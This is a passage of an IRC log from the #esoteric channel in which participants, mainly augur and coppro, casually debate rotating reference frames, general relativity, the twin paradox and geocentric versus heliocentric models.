say "but is it as simple as the non-accelerating frame? because if not, then its probably not real..." < 1267677895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :did you look at that unruh article btw? < 1267678294 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a little bit. < 1267678313 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :given that noones actually DETECTED this hypothesized effect... < 1267678556 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm. it also seems related to hawking radiation, which has the same problem. < 1267678574 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :how so? < 1267678582 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you mean energy content of the universe sorts of problems? < 1267678596 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not being detected problem :D < 1267678603 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267678609 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION disables tapping on his trackpad
< 1267678613 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or whatever it's called < 1267678615 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hawking radiation has been detected i think < 1267678624 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or maybe its so faint it cant be detected currently < 1267678625 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267678632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :far too faint < 1267678682 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it would take a very small black hole to detect < 1267678727 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so maybe if the lhc makes some... < 1267678740 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(which is very hypothetical afaiu) < 1267678742 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, if the unruh effect IS observable, it seems to only be the emission of photons < 1267678745 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not some special force carrier < 1267678776 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which makes the unruh effect unlikely to be justifiably said to be the magic force undergirding the force viewed in an accelerating f.o.r. < 1267678779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well the force carrier would be the same as for gravity, since it's the same mathematics... < 1267678797 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the behavior wouldnt look like gravity at all < 1267678834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1267678882 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :all im saying is that i think the rotating frame is arguably not a valid frame of reference. < 1267678930 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and that a reasonable observer viewing a video of the universe filmed on a rotating camera would not conclude that the universe had such and such laws < 1267678943 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but would instead conclude that the camera was spinning. < 1267678951 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and that the universe has the laws we see. < 1267679016 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :watchmaker < 1267679024 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ey? < 1267679046 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :your argument is like the watchmaker argument < 1267679057 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it relies on an assumption of human intuition < 1267679064 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is not valid scientifically < 1267679293 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok, let me rephrase that < 1267679324 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think that in the full space of theories, the simplest one, in all possible formal representations possible, would be the one in which the camera is rotating and the universe is not. < 1267679626 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but there are some differences between rotating and non-rotatin unvierses < 1267679640 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uh? < 1267679643 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so if the universe is rotating, having it not rotate is not a valid interpretation < 1267679670 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267679683 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but if the universe IS rotating, then its rotating relative to some non-rotating reference frame < 1267679695 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the simplest laws should still fall out of the non-rotating reference frame < 1267679706 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the whole point is that you would discover the universe to BE rotating < 1267679718 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whereas with the rotating camera, you dont think the universe is rotating at all < 1267679719 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no, that's the fun bit < 1267679732 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the universe can rotate relative to nothing in particular < 1267679736 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you think the universe genuinely is not rotating, but that it has these crazy laws of physics. < 1267679752 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and this gives different results for some things than if it is not < 1267679754 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: well sure, in some weird way, but you still describe it as rotating < 1267679761 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is really the point. < 1267679761 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :note 1: I don't know what thos things are < 1267679767 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :note 2: Our universe does not rotate < 1267679767 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the fact that you understand the universe as rotating < 1267679772 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats the crucial part < 1267679808 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you accept an actually rotating reference frame as being valid, and say that the rotation is not a feature of the reference frame, its all relative < 1267679816 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in the same way that inertial references frames are all relative < 1267679844 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then you essentiall say that actually no, its acceptable to say the camera isnt rotating, the UNIVERSE is rotating. or the stuff in it is revolving rather. < 1267679847 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not like that < 1267679851 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is my point < 1267679865 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you cant take rotation to be relative like you take motion to be relative < 1267679866 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :special relativity would remain valid in a rotating universe < 1267679875 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so inertial equivalencies arent rotational equivalences < 1267679879 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :special relativity might < 1267679885 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, even then it wouldnt < 1267679887 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267679892 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, in a rotating UNIVERSE, maybe < 1267679895 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267679899 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but im not talking about a rotating universe < 1267679904 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you aren't? < 1267679906 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im talking about a universe in which the stuff in it is rotating < 1267679914 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267679920 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :well, you could have said so < 1267679920 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :take a camera, spin it. you're not saying a "rotating universe" < 1267679935 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :well, either perspective is valid < 1267679943 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you're seeing a universe that isnt rotating, but in which the objects in it all seem to orbit the camera's viewing axis < 1267679951 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but yes, having the camera rotate is much easier < 1267679958 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and my point is that i think the second perspective is NOT as valid < 1267679990 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because in the grand scheme of things, that hypothesize about the nature of the pictured universe is more complicated than the rotating-camera version < 1267680009 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :they are both valid < 1267680014 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :this is general relativity in a nutshell < 1267680020 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in the same way that sure, you can say that the sun orbits the earth, and everything else orbits the earth too, only in crazy epicycles at infinitum < 1267680042 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure, thats "equally valid" but its not "equally real" i think. < 1267680051 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, i dont think thats what general relativity says at all. < 1267680068 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im willing to bet that general relativity addresses the point in a much finer grained way < 1267680069 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :define "real" < 1267680074 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :well, yes < 1267680085 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but any and every point of reference is valid < 1267680104 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think the general relativity view would match up with what i mean by valid. < 1267680131 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in fact, im CERTAIN it does, because im just mirroring general relativity. < 1267680152 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the passage of time is "real" on the accelerating object, hence why the twin paradox exists < 1267680154 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :can you perform all calculations assuming that everything in the universe is orbiting around a fixed point? yes. Is it useful? no < 1267680168 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no no but coppro < 1267680170 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats the thing ok < 1267680187 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in general relativity, i think the point is that the UNIVERSE rotating is equally valid < 1267680199 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the UNIVERSE rotating is not the same thing as the stuff IN IT rotating < 1267680202 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the twin paradox exists due to the difference in perspective relative to the rest of the universe < 1267680207 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267680210 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats the point! < 1267680224 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the REST universe is not merely the "rest" universe, as in the one not moving < 1267680228 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but rather, the one NOT ACCELERATING < 1267680250 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the twin paradox ceases to exist if both twins set off in rockets at different times < 1267680267 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the twin paradox also ceases to exist if the only two things in the Universe are the two twins < 1267680269 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it crucially depends on precisely ONE of them experiencing more acceleration than the other. < 1267680279 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no it doesnt cease toe xist < 1267680310 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes, because there is nothing against which to reference the acceleration < 1267680328 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok let me prove to you in a galileian way how you're wrong < 1267680336 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :suppose that one twin is a pig < 1267680340 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as in, loves to eat < 1267680352 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he eats SO MUCH that he eats everything in the universe, except his brother < 1267680378 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :now there are just two things in the universe < 1267680379 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the twins < 1267680384 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :one of which is really _Really_ fat < 1267680399 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but according to you, the twin paradox should vanish now < 1267680431 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the relative motions of the masses of the universe is identical < 1267680446 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :one twin, the thin one, is moving away from the other twin, accelerating at such and such a rate < 1267680463 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but this twin being so piggish is merely academic. < 1267680477 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we could tie the mass to that twin and the effect would be the same < 1267680492 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :infact, why bother with the rope, since the masses arent moving relative to one another, we can cut the rope too < 1267680496 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and now we're back at the universe as it is < 1267680497 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but because there is nothing else to refer to, you can equally say that the other twin is accelerating away < 1267680503 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no you cant! < 1267680507 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats the POINT of the twin paradox! < 1267680512 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is NOT what GR says < 1267680524 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which breaks down when there is nothing else in the universe < 1267680532 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no it doesnt < 1267680540 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :example: If there is only one particle in the universe, it experiences no force if accelerated < 1267680560 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if there is only one particle in the universe, it cant accelerate. < 1267680567 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because there would be no forces acting upon it. < 1267680575 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :modulo quantum weirdness. < 1267680586 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a prior theres no forces acting on it < 1267680594 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because to have a force acting on it, you need a force carrier particle < 1267680599 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thus at least two particles < 1267680620 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the only case where the twin paradox can "vanish" is in a case where it cant even happen! < 1267680641 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :by necessity there is ALWAYS other matter in the universe < 1267680730 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you're missing the point < 1267680736 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, _you're_ missing the point < 1267680753 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is that reality doesnt work like you say it does < 1267680756 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :demonstrably. < 1267680760 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as was just demonstrabled. < 1267680767 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you never demonstrated it < 1267680771 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i just did. < 1267680780 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you provided a thought experiment with incorrect conclusions < 1267680787 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :there is no possible way to accelerate a particle if its the only particle in the universe. < 1267680796 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :precisely the point < 1267680798 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and since the 1-particle-universe is the only one in which you're correct < 1267680808 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or rather < 1267680814 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the only one in which you could even POSSIBLY be correct < 1267680831 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and since we know that in THAT universe, theres no actual way for you to be correct < 1267680834 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you must not be correct. < 1267680840 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'd find you a paper, except the book I have which cites it is upstairs and I don't feel like paging through it < 1267680855 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you'd find me a paper and i would show you why the paper agrees with me ;) < 1267680934 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe you're right in some imaginary not-real universe in which force and thus acceleration isnt transmitted by force carriers < 1267680936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe you're right < 1267680947 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats a universe that doesn't exist. < 1267680971 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the real universe is one in which the non-accelerating frame is the true frame of reference. < 1267681085 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I shall conclude this argument with a brief quote from Wikipedia < 1267681087 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :"As part of the general theory, all reference frames are equivalent, even rotating frames. " < 1267681120 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, but like i said, i think the GR notion of "equivalence" is different than what we're using here. < 1267681256 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think the GR notion of equivalence is closer to "has a consistent physical analysis that can describe the same physical phenomena" < 1267681266 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a symmetry < 1267681311 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i think that is entirely true. im willing to BET that rotating reference frames, like the rotating camera, DEMAND general relativity in order to describe them correctly. < 1267681363 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, if physicists from another dimension saw a video taken on a rotating camera, they'd have to invent general relativity to fully describe the physical laws they saw, if they were assuming that the camera wasn't rotating but that the rest of the universe's objects were revolving around some point. < 1267681368 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i would BET that that is true. < 1267681372 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267681387 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :quite possibly < 1267681423 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but surely they'd have to invent it anyways, as it is a required part of describing all phenomena in a non-rotating universe as well? < 1267681489 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, not necessarily. i mean, maybe its true that a priori the laws of physics make this so, regardless of the laws of physics < 1267681517 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but maybe not. it could entirely be that what we're calling general relativity is just an artifact of our incorrect assumptions about the nature of the universe < 1267681529 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and that its merely an illusion < 1267681531 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :for instance, newtonian gravity would be insufficient < 1267681541 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure, but you'd have this 5th force remember < 1267681545 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :plus god knows what else < 1267681553 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :newtonian gravity couldnt even be conceived of < 1267681577 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the entire set of laws would be different < 1267681585 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I mean in a non-rotating frame of reference < 1267681589 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, sure < 1267681747 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so either way they'd have to construct the same laws in the end < 1267681757 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267681786 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, laws that would, i really really suspect, but relatable VIA general relativity < 1267681881 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1267681924 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think it would be general relativity that would relate the two different versions of physics. that GR provides the isomorphism, hence why it IS true that rotating frames are "equivalent" < 1267681965 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats a hunch, i dont know. < 1267681992 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i think that GR is necessary to describe our universe precisely because you need to be able to do that kind of isomorphism < 1267682001 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or whatever kind of morphism it'd be < 1267682064 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm sort of confused now < 1267682084 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :nevermind :p < 1267682093 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267682442 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267682536 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267682596 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1267682794 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: ok, heres my explanation of what i meant < 1267682802 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think that if you tried to describe the cameraverse < 1267682818 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you would read a point where you would invent the _exact_ same GR equations < 1267682841 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and in doing so, camera einstein would draw the same conclusions about rotating reference frames < 1267682855 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because in cameraverse, a rotating reference frame makes the universe look like realverse < 1267682917 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not merely that you would have to invent some sort of equivalent of GR, but that the equations of GR are the same regardless of the starting point, because they're equations that relate different models of physical law < 1267682926 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :rather than equations that merely describe a new kind of physical law < 1267683029 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Okay, I agree < 1267683043 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats my suspicion < 1267683050 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :now explain how you didn't just prove the equivalence of a universe with nothing rotating and with everything rotating? < 1267683073 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, i think thats the _GR_ notion of equivalence < 1267683091 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :your argument is that you would make the exact same equations < 1267683096 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :therefore they are not equivalent? < 1267683100 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats not the notion of equivalence that i was using in this discussion. actually, i tried to stick to "equally valid" but whatever < 1267683110 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theyre GR equivalent, yes. < 1267683116 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i dont think they're equally _valid_ < 1267683126 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :what do you define as equally valid? < 1267683152 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :more real, in a deutchean sense of real < 1267683161 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :deutschean** < 1267683176 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't quite follow < 1267683186 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, if you have two models, one of which is simpler, and the other is just a coy rephrasing of the one, by playing some complication tricks < 1267683190 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :namely because I don't know that word < 1267683205 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then the simpler one is more valid as a view on what reality is like < 1267683217 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I disagree < 1267683219 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. sure, epicycles can model the solarsystem perfectly well < 1267683228 0 :jcp!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267683260 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the heliocentric solar system is simpler, the epicyclic model merely looks like a convoluted attempt to describe a heliocentric model as if it were geocentric < 1267683269 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :complexity is not, in my mind, the reason that the geocentric system is incorrect < 1267683273 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the heliocentric model is more valid as a guess as to what reality is like. < 1267683294 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, but coppro, you can certainly construct some insane physical theory in which the universe _IS_ geocentric < 1267683310 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :augur: Sure, but the planets would still rotate the sun < 1267683317 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well no thats my point < 1267683318 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(the other planets, that is) < 1267683326 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you could construct a version where the planets DONT revolve around the sun < 1267683328 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they just APPEAR to < 1267683346 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :only superficially < 1267683353 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ah but what is superficial? < 1267683358 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :this is just reference frame stuff < 1267683364 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Superficial in the sense that it would only function so far < 1267683371 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no i dont think so < 1267683390 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think it would be completely possible to have a model of physics in which the entire thing is consistent with known facts AND is geocentric < 1267683395 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you would have to invent relativity and quantum mechanics at some point < 1267683419 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, at that point we're not talking about solar-system centricity anymore < 1267683425 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but we are < 1267683429 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267683430 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the universe needs to be taken as a whole < 1267683439 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, but thats what im saying < 1267683474 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you believe the universe is geocentric, which is to say that it revolves around the earth, as opposed to its center of mass (if one exists), i think the laws could still work out < 1267683479 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but they'd be complicated as hell < 1267683497 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or maybe they'd just be some sort of vector translation over current laws, who knows < 1267683518 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :this is why, for instance, Newtonian mechanics failed at describing the precession of Mercury accurately < 1267683543 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure, but that doesnt mean you cant embellish the theory further and further < 1267683556 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think it would be entirely possible to embellish < 1267683571 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i just think the embellishments would be some sort of coy recoding of heliocentricity < 1267683581 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :You can < 1267683585 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and thats my point < 1267683598 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you have this intuition that coy recoding is not a valid translation of reference frames < 1267683608 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :If you embellished it enough, you would result at a theory as accurate as general relativity that was far more complex but equally valid < 1267683609 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i think that the GR-rotating-frame thing is merely a coy recoding. < 1267683621 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I do not have such an intuition < 1267683636 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you apparently have this belief that heliocentrism is more valid than geocentrism < 1267683638 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :therefore you do. < 1267683665 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :unless you're changing your mind and saying that yeah what the heck, the solar system is geocentric and the different embellished physics is just as valid. < 1267683692 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I have a belief that no one has yet come up with any geocentric theory as accurate as our heliocentric ones < 1267683721 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true, but who's been trying for the last 500 years. < 1267683726 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :A geocentric theory, if embellished to the point of agreeing precisely with our best heliocentric theories, will be accurate < 1267683728 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and thus valid < 1267683731 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and why bother? itll be a horrendous theory < 1267683749 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the heliocentric solarsystem is simpler, makes more sense, etc. < 1267683758 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its just better < 1267683777 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i would say a more valid model of what the universe is REALLY like < 1267683788 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I completely agree < 1267683795 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the heliocentric model would be much cleaner and nicer < 1267683797 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but no more valid < 1267683802 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im just taking david deutscher's line here, btw. < 1267683813 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :do note that you must include the other criterion of theoretical validity though < 1267683815 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er, deutsch** < 1267683822 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is the amount of prediction a theory makes < 1267683835 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, im considering equally accurate models. < 1267683857 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if your geocentric theory cannot accomodate a brand new object placed somewhere between here and the sun without manually finangling with it, the theory is less valid, since our heliocentric theory can < 1267683868 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, this is verging on metaphysics here, ill be honest, ok < 1267683889 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :two completely extensionally equivalent models can, i think, differ in how valid they are as models of reality < 1267683892 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :simplicity is not, in and of itself, a test of validity < 1267683897 0 :coppro!unknown@unknown.invalid 